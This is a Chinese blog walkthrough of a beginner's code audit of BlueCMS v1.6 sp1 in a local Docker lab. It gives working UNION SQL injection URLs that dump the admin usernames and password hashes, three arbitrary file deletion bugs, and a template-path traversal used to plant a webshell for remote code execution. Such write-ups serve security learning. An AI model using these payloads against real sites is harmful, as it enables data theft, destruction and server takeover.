从0开始代码审计 day1 —— BlueCMS v1.6 sp1

0x01:环境搭建

网页源码: 百度可下载。
我已经搭建好了Docker环境,可以一键部署。
sudo docker run -d -p 8088:80 --name=bluecmsv16_sp1 gakkiyyds/bluecms_v1.6_sp1

0x02:漏洞

ad_js.php sql注入1

使用Seay源代码审计系统
在这里插入图片描述
审计系统说了 ad_js.php 中变量无单引号保护跟进一下。
在这里插入图片描述如图所示:sql中变量为 $ad_id, 且在12行处用了一个三目运算来确定其值,同时用了 trim()函数进行了过滤,来看一下trim()函数的详细解析:
在这里插入图片描述

会自动去除一些字符。点就在这里尝试注入一下:

/ad_js.php?ad_id=1'

输入1’ 会报错且单引号被转义了,那证明字符型注入不行了,这类转义一般由:addslashes() 函数 返回。
在这里插入图片描述

/ad_js.php?ad_id=1#

输入1# 页面空白没报错(这种情况别忘了查看网页源代码),证明可注入。判单字段个数。
在这里插入图片描述
判断是否为8的时候报错了。证明只有七个字段。

/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7#

页面源代码输出了7

在这里插入图片描述

/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()#

得到数据库名:bluecms
在这里插入图片描述

/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name)from information_schema.tables where table_schema=database()#

所有表名
在这里插入图片描述

/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572#
0x626c75655f75736572 =  0xblue_user

注意这里:指定表名时单引号和双引号被转义了那么利用十六进制的方式可以绕过转义限制。
在这里插入图片描述

/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(user_name,0x2d,pwd)from blue_user#

用户名和密码
在这里插入图片描述

密码是加密过后的,有一点儿像md5加密,可以尝试在线解密;
https://www.cmd5.com/
在这里插入图片描述
在这里插入图片描述
这弱密码能解密成功。

总结:该sql注入是最基础的入门级联合查询难度低(人人皆爱)。
漏洞评级:
高危:需要登录的重要业务敏感数据信息泄露漏洞。


任意文件删除漏洞1

位于user.php 中,只需注册一个普通账户即可利用。
在这里插入图片描述
ID为12处的,跟进一下,11处的$id使用intval()函数取整数故不能利用。
在这里插入图片描述
如图:788行, unlink() 中参数: $_POST[‘face_pic3’] 直接为POST提交数据没有过滤之类的参数。同时在第764行可以看到触发方式为:edit_user_info 很明显就是编辑用户信息。因此可以直接在user.php后加上?act=edit_user_info即可触发,然后POST提交face_pic3即可。

测试:为了防止误删除,可以先在服务器中创建一个没用的文件来验证。
在网站根目录下创建一个: del.txt
在这里插入图片描述
现在构造参数即可:
在这里插入图片描述
访问过后会显示更新个人资料成功,现在到网站根目录下去查看是否还存在 del.txt 呢?
在这里插入图片描述
在这里插入图片描述
如图所示:很明显del.txt 文件不存在了。

Notice: 这里测试出了能删除web目录下的文件。尝试删除非web目录下的文件发现失败。
漏洞评级:

**高危**:被限制在web目录,能删除任意web文件。

任意文件删除漏洞2

另一个任意文件删除漏洞,位于 admin/info.php 中。因此需要登入后台才能利用。
在这里插入图片描述
在这里插入图片描述
如图:第532行unlink()删除函数。可以看到设置了路径: BLUE_ROOT. i d , 而 B L U E R O O T 就是网站的根目录即 : / v a r / w w w / h t m l ;而 id, 而 BLUE_ROOT 就是网站的根目录即:/var/www/html;而 id,BLUEROOT就是网站的根目录即:/var/www/html;而id 为528行中的 $_REQUEST[‘id’] 传入。没有进行过滤可以利用。然后530行会判断文件是否存在,存在则删除。最终触发的地方为 526行 elseif $act==‘del_pic’;
验证:
在网站根目录新建一个文件 dell.txt
在这里插入图片描述
然后传入参数。
在这里插入图片描述
$_REQUEST可以GET也可以POST,二选一;
注意这里执行后页面不会显示,但是文件会被删除。
在这里插入图片描述

如图所示,删除了。

尝试能否目录穿越删除。

在admin目录下新建 del.txt 然后传入参数:
在这里插入图片描述
执行后发现一样可以删除。

那么非web目录呢?测试发现无法删除除了web目录下的内容,原因很简单:权限不够,web目录中的文件都是www-data用户的。
漏洞评级:

**高危**:被限制在web目录,能删除任意web文件。

任意文件删除漏洞3

又一个任意文件删除漏洞;位于:admin/link.php 中;因此需要登录后台后才能触发。

在这里插入图片描述
跟进:
在这里插入图片描述
如图:第64行删除函数中可以看到路径为BLUE_ROOT 即web根目录:/var/www/html/;而且对POST传入的数据: link_logo2 没有做过滤;它的触发条件为 第50行中的 $act==‘do_edit’ ,很明显就是编辑。

验证:
在根目录下新建一个文件:del_me.txt

在这里插入图片描述
然后传入参数:
在这里插入图片描述
执行后显示的页面是编辑连接成功,原来是添加友情连接的地方。

现在查看文件是否被删除了。
在这里插入图片描述确实没有了。和前两个一样。

漏洞评级:

**高危**:被限制在web目录,能删除任意web文件。

nav.php sql注入2

位于 admin/nav.php 中,因此需要登入后台才能利用。

在这里插入图片描述
在这里插入图片描述
如图:第65行可控变量为 $_GET[‘navid’] 没有做任何过滤。且触发点: $act==‘edit’

/admin/nav.php?act=edit&navid=2 union select 1,database(),user(),4,version(),6#

在这里插入图片描述

很基础的union 注入。回显位置都位于输入框中。

漏洞评级:
**高危:**需要登录的重要业务铭感数据信息泄露漏洞。


后台模板getshell

在这里插入图片描述
跟进一下:

在这里插入图片描述
大概看了一下源码它的功能是在后台编辑模板。其中变量 $tpl_name 可以目录穿越。比如: …/…/index.php 我们就可以编辑首页从而插入shell。

验证:
首先进入后台——>系统设置——>模板管理——>随便编辑一个模板。(记得抓包:可以F12打开Network)

在这里插入图片描述
点完编辑之后:

在这里插入图片描述
找到了单独的界面: http://192.168.52.143:8088/admin/tpl_manage.php?act=edit&tpl_name=reg.htm

新建页面打开:
在这里插入图片描述
将 tpl_name更改为: …/…/index.php 或者其它目录能访问的php文件。
在这里插入图片描述
可以看到现在编辑界面显示的是index.php的源码。插入一句话木马。
在这里插入图片描述
接下来直接RCE或者蚁剑连接即可。

在这里插入图片描述
在这里插入图片描述
拿到shell了。

漏洞评级:
严重


admin/user.php sql注入3

在这里插入图片描述
跟进一下
在这里插入图片描述

很明显GET参数没有任何过滤。直接利用。

在这里插入图片描述测出来有17个字段。真TM多。

/admin/user.php?act=edit&user_id=-2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#

在这里插入图片描述
有如图所示几个回显点。

/admin/user.php?act=edit&user_id=-2 union select 1,2,3,database(),5,6,7,8,9,10,11,user(),version(),group_concat(table_name),15,16,17 from information_schema.tables where table_schema=database()#

剩下的步骤就省略了。因为联合注入很简单。当然也可以用sqlmap跑,只需要简单抓个包。
在这里插入图片描述
可见这个CMS漏洞真多。

漏洞评级:
高危:需要登录的重要业务敏感数据信息泄露漏洞。


0x03:总结:

  1. 目前我只找到了这些漏洞,其它漏洞待挖掘。
  2. 这个N年前的CMS适合新手审计。
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值